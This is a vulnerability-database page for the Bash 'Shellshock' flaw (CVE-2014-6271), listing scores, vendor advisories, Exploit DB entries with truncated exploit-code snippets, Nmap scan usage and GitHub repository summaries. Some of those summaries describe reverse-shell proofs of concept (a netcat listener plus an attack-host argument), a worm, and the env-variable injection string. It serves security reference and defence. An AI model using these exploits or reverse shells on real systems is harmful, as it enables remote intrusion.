Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
9.8
CVSSv3

CVE-2014-6271

Published: 24/09/2014 Updated: 17/11/2021
CVSS v2 Base Score: 10 | Impact Score: 10 | Exploitability Score: 10
CVSS v3 Base Score: 9.8 | Impact Score: 5.9 | Exploitability Score: 3.9
VMScore: 1000
Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C
Subscribe to Bash

Vulnerability Summary

GNU Bash up to and including 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote malicious users to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Vulnerability Trend

Vulnerable Product Search on Vulmon Subscribe to Product

gnu bash 1.14.3

gnu bash 1.14.5

gnu bash 2.02.1

gnu bash 2.04

gnu bash 3.0.16

gnu bash 3.2

gnu bash 1.14.0

gnu bash 1.14.1

gnu bash 2.05

gnu bash 3.0

gnu bash 1.14.7

gnu bash 2.0

gnu bash 2.01

gnu bash 2.01.1

gnu bash 4.0

gnu bash 4.1

gnu bash 4.2

gnu bash 1.14.2

gnu bash 1.14.4

gnu bash 1.14.6

gnu bash 2.02

gnu bash 2.03

gnu bash 3.1

gnu bash 3.2.48

gnu bash 4.3

Vendor Advisories

Debian CVElist Bug Report Logs: bash: CVE-2014-7169: Incomplete fix for CVE-2014-6271
Debian Bug report logs - #762760 bash: CVE-2014-7169: Incomplete fix for CVE-2014-6271 Package: bash; Maintainer for bash is Matthias Klose <doko@debianorg>; Source for bash is src:bash (PTS, buildd, popcon) Reported by: "brian m carlson" <sandals@crustytoothpastenet> Date: Wed, 24 Sep 2014 23:45:02 UTC Severity: ...
Ubuntu Security Notice: bash vulnerability
Bash allowed bypassing environment restrictions in certain environments ...
Debian Security Advisories: DSA-3032-1 bash -- security update
Stephane Chazelas discovered a vulnerability in bash, the GNU Bourne-Again Shell, related to how environment variables are processed In many common configurations, this vulnerability is exploitable over the network, especially if bash has been configured as the system shell For the stable distribution (wheezy), this problem has been fixed in vers ...
Debian Security Advisories: DSA-3035-1 bash -- security update
Tavis Ormandy discovered that the patch applied to fix CVE-2014-6271 released in DSA-3032-1 for bash, the GNU Bourne-Again Shell, was incomplete and could still allow some characters to be injected into another environment (CVE-2014-7169) With this update prefix and suffix for environment variable names which contain shell functions are added as h ...
Amazon Linux AMI: ALAS-2014-418
<h3>This ALAS is superceded by <a href="alasawsamazoncom/ALAS-2014-419html">ALAS-2014-419</a></h3> A flaw was found in the way Bash evaluated certain specially crafted environment variables An attacker could use this flaw to override or bypass environment restrictions to execute shell commands Certain services ...
Red Hat: CVE-2014-6271
A flaw was found in the way Bash evaluated certain specially crafted environment variables An attacker could use this flaw to override or bypass environment restrictions to execute shell commands Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue ...
HP: SUPPORT COMMUNICATION- SECURITY BULLETIN HPSBHF03119 rev.3 - HP DreamColor Professional Display running Bash Shell, Remote Code Execution
A potential security vulnerability has been identified with HP DreamColor Z27x Professional Display running Bash Shell This is the Bash Shell vulnerability known as "ShellShock" which could be exploited remotely to allow execution of code note: Only the HP DreamColor Z27x model is vulnerable ...
Citrix Security Bulletins: Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
Description of Problem Citrix is aware of recent vulnerability reports that impact GNU Bash and is actively investigating the potential impact of these issues on Citrix products There are a number of CVEs related to this issue, the current set includes: CVE-2014-6271  CVE-2014-6277  CVE-2014-6278  CVE-2014-7169  CVE-2014-7 ...
Tenable Security Advisories: [R7] Tenable Appliance Affected by GNU bash 'Shellshock' Vulnerability
GNU bash contains a flaw that is triggered when evaluating environment variables passed from another environment After processing a function definition, bash continues to process trailing strings Via certain applications, a local or remote attacker may inject shell commands, allowing local privilege escalation or remote command execution dependin ...

Exploits

Exploit DB: GNU Bash - 'Shellshock' Environment Variable Command Injection
Exploit Database Note: The following is an excerpt from: securityblogredhatcom/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ Like “real” programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables Th ...
Exploit DB: Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)
## # This module requires Metasploit: metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ad ...
Exploit DB: GNU Bash - Environment Variable Command Injection (Metasploit)
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'bashedCgi', 'Description' => %q{ Quick & dirty module to send the BASH ex ...
Exploit DB: Kemp Load Master 7.1.16 - Multiple Vulnerabilities
# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS) # Date: 01 April 2015 # Author: Roberto Suggi Liverani # Software Link: kemptechnologiescom/load-balancer/ # Version: 7116 and previous versions # Tested on: Kemp Load Master 71-16 # CVE : CVE-2014-5287/5288 Link: blogmalerischnet/2015/04/playing ...
Exploit DB: CUPS Filter - Bash Environment Variable Code Injection (Metasploit)
## # This module requires Metasploit: metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CUPS Fi ...
Exploit DB: IPFire - CGI Web Interface (Authenticated) Bash Environment Variable Code Injection
#!/usr/bin/env python # # Exploit Title : IPFire <= 215 core 82 Authenticated cgi Remote Command Injection (ShellShock) # # Exploit Author : Claudio Viviani # # Vendor Homepage : wwwipfireorg # # Software Link: downloadsipfireorg/releases/ipfire-2x/215-core82/ipfire-215i586-full-core82iso # # Date : 2014-09-29 # # Fixed v ...
Exploit DB: GNU bash 4.3.11 - Environment Variable dhclient
#!/usr/bin/python # Exploit Title: dhclient shellshocker # Google Dork: n/a # Date: 10/1/14 # Exploit Author: @0x00string # Vendor Homepage: gnuorg # Software Link: ftpgnuorg/gnu/bash/bash-43targz # Version: 4311 # Tested on: Ubuntu 14041 # CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187 # ______ ...
Exploit DB: Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)
## # This module requires Metasploit: http//metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info ...
Exploit DB: QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroupit [work] / 0x640x330x760x620x700x70@gmailcom [other] # Employer homepage: wwwsecuregroupit # Vendor homepage: ww ...
Exploit DB: TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injection
#!/usr/bin/env python # TrendMicro InterScan Web Security Virtul Appliance # ================================================== # InterScan Web Security is a software virtual appliance that # dynamically protects against the ever-growing flood of web # threats at the Internet gateway exclusively designed to secure # you against traditional and e ...
Exploit DB: PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Injection
# Exploit Title: PHP 5x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: phpnet # Software Link: phpnet/get/php-562tarbz2/from/a/mirror # Version: 5* (tested on 562) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 &lt; ...
Exploit DB: RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection
#!/usr/bin/env python # RedStar OS 30 Server (BEAM &amp; RSSMON) shellshock exploit # ======================================================== # BEAM &amp; RSSMON are Webmin based configuration utilities # that ship with RSS server 30 These packages are the # recommended GUI configuration components and listen on # a user specified port from 100 ...
Exploit DB: Pure-FTPd - External Authentication Bash Environment Variable Code Injection (Metasploit)
## # This module requires Metasploit: http//metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(i ...
Exploit DB: OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection
# Exploit Title: ShellShock OpenVPN Exploit # Date: Fri Oct 3 15:48:08 EDT 2014 # Exploit Author: hobbily AKA @fj33r # Version: 2229 # Tested on: Debian Linux # CVE : CVE-2014-6271 #Probably should of submitted this the day I tweeted it ### serverconf port 1194 proto udp dev tun client-cert-not-required auth-user-pass-verify /etc/openvpn ...
Exploit DB: Apache mod_cgi - 'Shellshock' Remote Command Injection
#! /usr/bin/env python from socket import * from threading import Thread import thread, time, httplib, urllib, sys stop = False proxyhost = "" proxyport = 0 def usage(): print """ Shellshock apache mod_cgi remote exploit Usage: /exploitpy var=&lt;value&gt; Vars: rhost: victim host rport: victim port for TCP shell binding lhost: attacker ...
Exploit DB: IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit)
## ## This module requires Metasploit: metasploitcom/download ## Current source: githubcom/rapid7/metasploit-framework ### require 'msf/core' class MetasploitModule &lt; Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' ...
Exploit DB: Cisco Unified Communications Manager - Multiple Vulnerabilities
Vantage Point Security Advisory 2015-001 ======================================== Title: Cisco Unified Communications Manager Multiple Vulnerabilities Vendor: Cisco Vendor URL: wwwciscocom/ Versions affected: &lt;92, &lt;1052, &lt;1101 Severity: Low to medium Vendor notified: Yes Reported: Oct 2014 Public release: Aug 13th, 2015 ...
Exploit DB: Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
#!/bin/python # Exploit Title: Shellshock SMTP Exploit # Date: 10/3/2014 # Exploit Author: fattymcwopr # Vendor Homepage: gnuorg # Software Link: ftpgnuorg/gnu/bash/ # Version: 42x &lt; 4248 # Tested on: Debian 7 (postfix smtp server w/procmail) # CVE : 2014-6271 from socket import * import sys def usage(): print "shellshock_sm ...
Exploit DB: QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection # Date: 7 February 2015 # Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroupit [work] / 0x640x330x760x620x700x70@gmailcom [other] # Employer homepage: wwwsecuregroupit # Vendor homepage: wwwqnapcom # Version: ...
Exploit DB: Bash - 'Shellshock' Environment Variables Command Injection
&lt;?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: wwwgnuorg/software/bash/ Author: Prakhar Prasad &amp;&amp; Subho Halder Author Homepage: prakharprasadcom &amp;&amp; appknoxcom Date: September 25th 2014 Tested on: Mac OS X 1094/1095 with Apac ...
Exploit DB: Qmail SMTP - Bash Environment Variable Injection (Metasploit)
## # This module requires Metasploit: metasploitcom/download # Current source: githubcom/rapid7/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Smtp def initialize(info={}) super(update_info(info, 'Name' =&gt; 'Qmail SMTP Bash E ...
Exploit DB: IPFire Bash Environment Variable Injection (Shellshock)
IPFire, a free linux based open source firewall distribution, versions 215 Update Core 82 and below contain an authenticated remote command execution vulnerability via shellshock in the request headers ...
Exploit DB: Mac OS X VMWare Fusion Root Privilege Escalation
This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root ...
Exploit DB: bashedCgi Remote Command Execution
bashedCgi is a quick and dirty Metasploit module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command ...
Exploit DB: TrendMicro InterScan Web Security Virtual Appliance Shellshock
TrendMicro InterScan Web Security Virtual Appliance remote code execution exploit that leverages the shellshock vulnerability to spawn a connect-back shell TrendMicro has contacted Packet Storm and provided the following link with patch information: &lt;a href="successtrendmicrocom/solution/1105233"&gt;successtrendmicrocom/solu ...
Exploit DB: IPFire 2.15 Bash Command Injection
IPFire versions 215 and below core 82 authenticated CGI remote command injection exploit that leverages the bash vulnerability ...
Exploit DB: FutureNet NXR-G240 Series ShellShock Command Injection
FutureNet NXR-G240 Series remote shellshock command injection exploit ...
Exploit DB: PHP 5.x / Bash Shellshock Proof Of Concept
This is a proof of concept that demonstrates how the Bash shellshock vulnerability can be used in PHP to bypass disable_functions, safe_mode, etc ...
Exploit DB: Cisco Unified Communications Manager Command Execution
Cisco Unified Communications Manager versions prior to 1101, 1052, and 92 suffer from multiple command execution vulnerabilities ...
Exploit DB: Advanced Information Security Shellshock Scanner
AIS shellshock scanning tool that leverages the User-Agent header against a large list of possible targets Written in C ...
Exploit DB: Staubli Jacquard Industrial System JC6 Shellshock
Staubli Jacquard Industrial System JC6 suffers from a bash environment variable handling code injection vulnerability ...
Exploit DB: Bash Environment Variable Command Execution
Due to a processing issue with environment variables it is possible to leverage bash for command execution through various methodologies ...
Exploit DB: Advantech Switch Bash Environment Variable Code Injection
This Metasploit module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables This Metasploit module targets the 'pingsh' CGI script, accessible through the Boa web server on Advantech switches This Metasploit module was tested against firmware version 1322_D198 ...
Exploit DB: CUPS Filter Bash Environment Variable Code Injection
This Metasploit module exploits a post-auth code injection in specially crafted environment variables in Bash, specifically targeting CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default ...
Exploit DB: DNS Reverse Lookup Shellshock
DNS reverse lookups can be used as a vector of attack for the bash shellshock vulnerability ...
Exploit DB: Bash Me Some More
This is information regarding more bash vulnerabilities and how the original bash patches are ineffective ...
Exploit DB: Gnu Bash 4.3 CGI REFERER Command Injection
GNU Bash versions 43 and below remote command injection exploit that leverages the REFERER header on vulnerable CGI scripts Launches a connect-back shell Written in Perl ...
Exploit DB: RSSMON / BEAM (Red Star OS 3.0) Shellshock
This is a shellshock exploit for RSSMON and BEAM, network services for Red Star OS version 30 SERVER edition ...

Nmap Scripts

http-shellshock

Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http-shellshock

Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications.

nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

Github Repositories

https://github.com/LiuYuancheng/ChartGPT_on_CTF

We want to see whether ChatGPT or other AI-LLM (Microsoft New_Bing or Google Bard) are able to help the user to go to some test environment to run cmds to solve the CTF problems (Whether the AI large language models can understand the challenge question and capture the question flags)

ChatGPT(AI LLM)_on_CTF Project Design Purpose: We want to see whether ChatGPT or other AI-LLM (Microsoft New_Bing or Google Bard) are able to help the user to go to some test environment to run cmds to solve the CTF problems (Whether the AI large language models can understand the challenge question and capture the question flags) And we will also show some use cases about ho

https://github.com/dasekang/North-Korea-SW

North Korea ICT 1 North Korea Internet 2 Redstar OS and Browser Redstar PC Redstar Server RedStar 30 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection [Exploit DB] wwwexploit-dbcom/exploits/40938/ [CVE

https://github.com/cgygdc/blog

Keep the time.

BLOG Keep notes of your study time References Blogs Fastersite Organization: Google Achievements: Google Chrome WebKit Speed Team Lead Keywords: Google Chrome, Speed, WebKit Stoyan’s phpiedcom Organization: Facebook, ex-Yahoo Acheivements: Architect of the YSlow 20 performance tool creator of the smushit Books: Facebook, YSlow, Smushit JavaScript for PHP

https://github.com/Brandaoo/CVE-2014-6271

Shellshock Vulnerability Checker This script checks if a website is vulnerable to the Shellshock vulnerability (CVE-2014-6271) Summary: The Shellshock vulnerability, also known as Bashdoor, is a security flaw that was discovered in September 2014 in the Unix Bash shell The vulnerability allows attackers to execute arbitrary code or commands on a system by exploiting a flaw in

https://github.com/Any3ite/CVE-2014-6271

CVE-2014-6271 Usage go run CVE-2014-6271go wwwexamplecom 80 whoami

https://github.com/maragard/genestealer

A worm pwning Linux and Windows machines

GENESTEALER A worm exploiting CVE-2014-6271/6278 (Shellshock) &amp; CVE-2017-0148 (EternalBlue) Developed by Marcus Agard &amp; Robert T Unnold Link to presentation DISCLAIMER: This code was developed for research purposes As stated in our license's section 4 subsection b, no warranties or declarations of fitness for purpose are implied Please use it responsibly

https://github.com/xbarnasp/Experimental-Testing-of-LSM

Experimentálne otestovanie bezpečnostných modulov OS Linux Cieľom tohto repozitára je otestovanie bezpečnostných modulov, SELinux a AppArmor, pomocou zraniteľností CVE Nachádza sa tu niekoľko nakonfigurovaných priečinkov, v ktorých sa nachádza súbor VAGRANT, ktorý slúži na automatick&eac

https://github.com/zalalov/CVE-2014-6271

Shellshock POC | CVE-2014-6271 | cgi-bin reverse shell

CVE-2014-6271 python27 Start listening on your machine nc -l -p 4444 Run python script by the rule below: python shellpocpy &lt;host&gt; &lt;vulnerable CGI&gt; &lt;attackhost/IP&gt; python shellpocpy 101010101 /cgi-bin/status 1010101/4444 Enjoy

https://github.com/hacden/vultools

渗透相关语法 相关漏洞学习资料，利用方法和技巧合集 web常见漏洞： 注入漏洞(HTML注入/代码注入/header头注入(CRLF)/sql注入/xml注入(xxe/wsdl)) 跨站XSS漏洞、安全配置错误、登录认证缺陷、越权、敏感信息泄露 权限控制不严格、请求伪造 (CSRF)、使用了存在漏洞的组件、点击劫持、SSRF 目录 Ha

https://github.com/HackerMW88/labsetup

Lab-Setup A lab for ethical hacking can be set up using a virtual machine (VM) such as VirtualBox The lab can be used to simulate a real-world environment, allowing users to practice their ethical hacking skills in a safe and secure environment Here is how a basic home lab for ethical hacking can be set up using VirtualBox: Download and install the latest version of VirtualB

https://github.com/smartFlash/pySecurity

Python tutorials

python系列教程(翻译) ~# python &gt;&gt;&gt; import urllib &gt;&gt;&gt; from bs4 import BeautifulSoup &gt;&gt;&gt; url = urlliburlopen("wwwprimalsecuritynet") &gt;&gt;&gt; output = BeautifulSoup(urlread(), 'lxml') &gt;&gt;&gt; outputtitle &lt;title&gt;Primal Security Podcast

https://github.com/louisdeck/empiricism

Writeups of challenges from pwnable.kr

Empiricism Writeups of few ezpz challenges from pwnablekr, super fun Files can be downloaded at : pwnablekr/playphp Collision This challenge is about (MD5) hash collision, here is the C code: unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i&lt;5; i++){ res += ip[i]; } return

https://github.com/J0hnTh3Kn1ght/CVE-2014-6271

Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi

Shellshock Exploitation (CVE-2014-6271) "Shellshock is effectively a Remote Command Execution vulnerability in BASH" This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled git clone githubcom/Jsmoreira02/CVE-2014-6271git [Help] Output usage: shellshock_exploitpy [-h]

https://github.com/Mehedi-Babu/enumeration_cheat_sht

OSCP Enumeration Cheat Sheet A collection of commands and tools used for conducting enumeration during my OSCP journey Description This is an enumeration cheat sheet that I created while pursuing the OSCP It also includes the commands that I used on platforms such as Vulnhub and Hack the Box Some of these commands are based on those executed by the Autorecon tool Disclaimer

https://github.com/HttpEduardo/ShellTHEbest

ShellCaçador É uma ferramenta simples para testar a vulnerabilidade do shell ### Shellhunter (softw bug) hellhunter, também conhecido como Bashdoor, é uma família de bugs de segurança no shell Unix Bash, sendo o primeiro deles divulgado em 24 de setembro de 2014 hellhunter pode permitir que um invasor faça com que o Ba

https://github.com/wwt9829/CSEC-742-Project

Attack Defend Exercise for Computer System Security

CSEC-742-Project Attack Defend Exercise for Computer System Security (RIT CSEC-742) Gain understanding and experience with vulnerabilities and exploitation Construct a vulnerable system for others to attack and configure a monitoring system to observe attacks Set up a VM, configure it to be susceptible to an exploit, and connect it to the private subnet in the RIT Virtual Lab

https://github.com/ryuzee-cookbooks/bash

This cookbook keeps bash packages latest version

bash Cookbook This cookbook keeps bash packages latest version CVE-2014-6271 seclistsorg/oss-sec/2014/q3/649 Requirements packages apt - manage packages in ubuntu and debian yum - manage packages in RHEL family Usage Just include bash in your node's run_list: { "name":"my_node", "run_list": [ "recipe[bash]" ] }

https://github.com/post-internet/about

立ち上げ用issue

About US 趣旨 {何か}の情報の共有・活動場所や機会をつくる 活動内容 定例会 開催頻度は隔週。当分の間は自由に使える場所を使って行ってみる。占領はしないように気をつける。 内容(案です、内容募集してます) 簡単な発表・共有 こんなコード書きました こんなツール・言語便利

https://github.com/SleepProgger/another_shellshock_test

another_shellshock_test Some scripts to test for the "ShellShock" vulnerability (CVE-2014-6271) The codename for this scripts is SHIT (SHellshock Injection Test) harrharr Please only use this script in environments where you are allowed to shellshock_localsh Test for the two known (by me) version of this vulnerability on the local system: env x='() { :;}; ec

https://github.com/718245903/Safety-Project-Collection

项目介绍 这是一份开源安全项目清单，收集了一些比较优秀的开源安全项目，以帮助甲方安全从业人员构建企业安全能力。 这些开源项目，每一个都在致力于解决一些安全问题。 项目收集的思路： 一个是关注互联网企业/团队的安全开源项目，经企业内部实践，这些最佳实践值得借鉴。

https://github.com/antsala/eHacking_LABS

Laboratorios para las formaciones de Ethical Hacking

eHacking_LABS Laboratorios para las formaciones de Ethical Hacking está en la URL githubcom/antsala/eHacking_LABSgit Carpeta 00 Despliegue del laboratorio Laboratorio 00: Preparación del entorno de laboratorio en Windows Los ejercicios a realizar son: Instalación de VirtualBox para Windows Descarga de las OVAs de la VMs Importación y

https://github.com/james-curtis/Safety-Project-Collection

收集了一些比较优秀的开源安全项目

项目介绍 这是一份开源安全项目清单，收集了一些比较优秀的开源安全项目，以帮助甲方安全从业人员构建企业安全能力。 这些开源项目，每一个都在致力于解决一些安全问题。 项目收集的思路： 一个是关注互联网企业/团队的安全开源项目，经企业内部实践，这些最佳实践值得借鉴。

https://github.com/renanvicente/puppet-shellshock

This module determine the vulnerability of a bash binary to the shellshock exploits (CVE-2014-6271 or CVE-2014-7169) and then patch that where possible

This module determine the vulnerability of a bash binary to the shellshock exploits (CVE-2014-6271 or CVE-2014-7169) and then patch that where possible Supported platforms: Debian (5, 6, 7) Ubuntus (1204 LTS, 1404 LTS, 1410) RHEL/CentOS (5, 6) Usage class {'shellshock': } Facter provided facter -p shellshock not_vulnera

https://github.com/Brandaoo/shellshockChecker

Shellshock Vulnerability Checker This script checks if a website is vulnerable to the Shellshock vulnerability (CVE-2014-6271) Summary: The Shellshock vulnerability, also known as Bashdoor, is a security flaw that was discovered in September 2014 in the Unix Bash shell The vulnerability allows attackers to execute arbitrary code or commands on a system by exploiting a flaw in

https://github.com/ChesnoiuCatalin/Home-Lab-VM

Home-Lab-VM

Home-Lab-VM A home lab for ethical hacking can be set up using a virtual machine (VM) such as VirtualBox The lab can be used to simulate a real-world environment, allowing users to practice their ethical hacking skills in a safe and secure environment Here is how a basic home lab for ethical hacking can be set up using VirtualBox: Download and install the latest version of V

https://github.com/redteam-project/cyber-range-scenarios

Training scenarios for cyber ranges

Cyber Range Scenarios Training scenarios for cloud-based cyber ranges, initially focused on utilizing Google Cloud Platform Available scenarios Scenario name Primary OS Type OS Versions Vulns CVEs Shell Shock example Linux RHEL 7 Shell Shock, libfutex CVE-2014-6271, CVE-2014-3153 overlayfs example Linux Ubuntu 1404 'overlayfs' Local Privilege Escalation CVE-

https://github.com/capture0x/xShock

XSHOCK Shellshock Exploit

⚡ &nbsp; xShock ShellShock &nbsp; ⚡ Written by TMRSWRR Version 100 xShock ShellShock (CVE-2014-6271) This tool exploits shellshock Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image 📒 Read Me 📒 All founded directories will be saved in vulnurltxt file The results of the executed commands are saved in respons

https://github.com/APSL/salt-shellshock

Salt recipe for shellshock (CVE-2014-6271)

====================== shellshock bash update This recipe tries to upgrade bash from OS pkg, and falls back to compile bash on systems with no update available Works for us on old ubuntu/debian Bash install script from: askubuntucom/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it Usage Can be used as an gitfs salt formula: fileserver_

https://github.com/hailan09/Hacker

渗透相关 相关漏洞学习资料，利用方法和技巧合集 web常见漏洞： 注入漏洞(HTML注入/代码注入/header头注入(CRLF)/sql注入/xml注入(xxe/wsdl)) 跨站XSS漏洞、安全配置错误、登录认证缺陷、越权、敏感信息泄露 权限控制不严格、请求伪造 (CSRF)、使用了存在漏洞的组件、点击劫持、SSRF 目录 Hacking

https://github.com/P0cL4bs/ShellShock-CGI-Scan

A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 (The Bash Bug).

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 (The Bash Bug) Options: -i (local ip-address) -p (port to listen) -l (site list) -t (connection timeout) (Default: 15s) Example: $ /Scanner -i 127001 -p 31337 -l sitestxt -t 5 Starting listen in localhost on port 31337, scan sites in file

https://github.com/0xICF/ShellScan

Shellshock Vulnerability Scanner

ShellScan ShellScan - A simple Shellshock Vulnerability Scanner in python allows cyber security researchers to explore and discover new application and systems that vulnerable to the ShellShock exploit ShellScan supports different BASH vulnerabilities: CVE-2014-6271 and CVE-2014-6278 to be tested by cyber security researchers in order to explore and discover new applications a

https://github.com/Sep0lkit/oval-for-el

OVAL For CentOS

OVAL-For-EL 中文 (Chinese version) English (English version) Features CentOS OVAL Split oval by severity Automatic update and revise with official security Supports OS Release Upstream Status redhat RHEL5 - RHEL8 wwwredhatcom/security/data/oval/ syncing centos EL5 - EL8 wwwredhatcom/security/data/oval/ syncing Scripts ​ scripts/rh2elpy

https://github.com/Bellminator/pwnable

My adventures and write-ups from pwnable.kr. Don't look, there are spoilers!

Pwnable Where Nick tries to hack and constantly fails No peeking, there be spoilers below! Toddler's Bottle fd #include &lt;stdioh&gt; #include &lt;stdlibh&gt; #include &lt;stringh&gt; char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc&lt;2){ printf("pass argv[1] a number\n"); return 0; } // Convert argv[1

https://github.com/arturluik/metapply

Automated vulnerability creation framework

Introduction The following project is created in order to mitigate the problem of applying vulnerabilities to already existing machines for educational purposes A vulnerability is a programmer's unintended mistake in a program’s source code, misconfiguration or hardware design mistake that can lead to a malicious or unexpected behavior The field of cyber security i

https://github.com/fares-alkhalaf/BurbsuiteInArabic

BurbsuiteInArabic المقدمة: أمن الشبكات هو ممارسة تنفيذ تدابير لحماية شبكات الكمبيوتر من الوصول غير المصرح به والهجمات الإلكترونية وخروقات البيانات يلعب دورًا حاسمًا في الحفاظ على سرية وسلامة وتوافر المعلومات التي ي

https://github.com/Bypass007/Safety-Project-Collection

收集一些比较优秀的开源安全项目，以帮助甲方安全从业人员构建企业安全能力。

项目介绍 这是一份开源安全项目清单，收集了一些比较优秀的开源安全项目，以帮助甲方安全从业人员构建企业安全能力。 这些开源项目，每一个都在致力于解决一些安全问题。 项目收集的思路： 一个是关注互联网企业/团队的安全开源项目，经企业内部实践，这些最佳实践值得借鉴。

https://github.com/Jsmoreira02/CVE-2014-6271

Exploitation of "Shellshock" Vulnerability. Remote code execution in Apache with mod_cgi

Shellshock Exploitation (CVE-2014-6271) "Shellshock is effectively a Remote Command Execution vulnerability in BASH" This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled git clone githubcom/Jsmoreira02/CVE-2014-6271git [Help] Output usage: shellshock_exploitpy [-h]

https://github.com/0xTabun/CVE-2014-6271

Shellshock vulnerability reverse shell

Poc exploit(bash script) shellwebm About the exploit You can get reverse shell with sh file (in Linux) You can get reverse shell with py file in (Windows and Linux) (in windows, you need to install netcat) You must specify the full url with file example: target/cgi-bin/vulnerablesh using for py: python shellshockpy using for

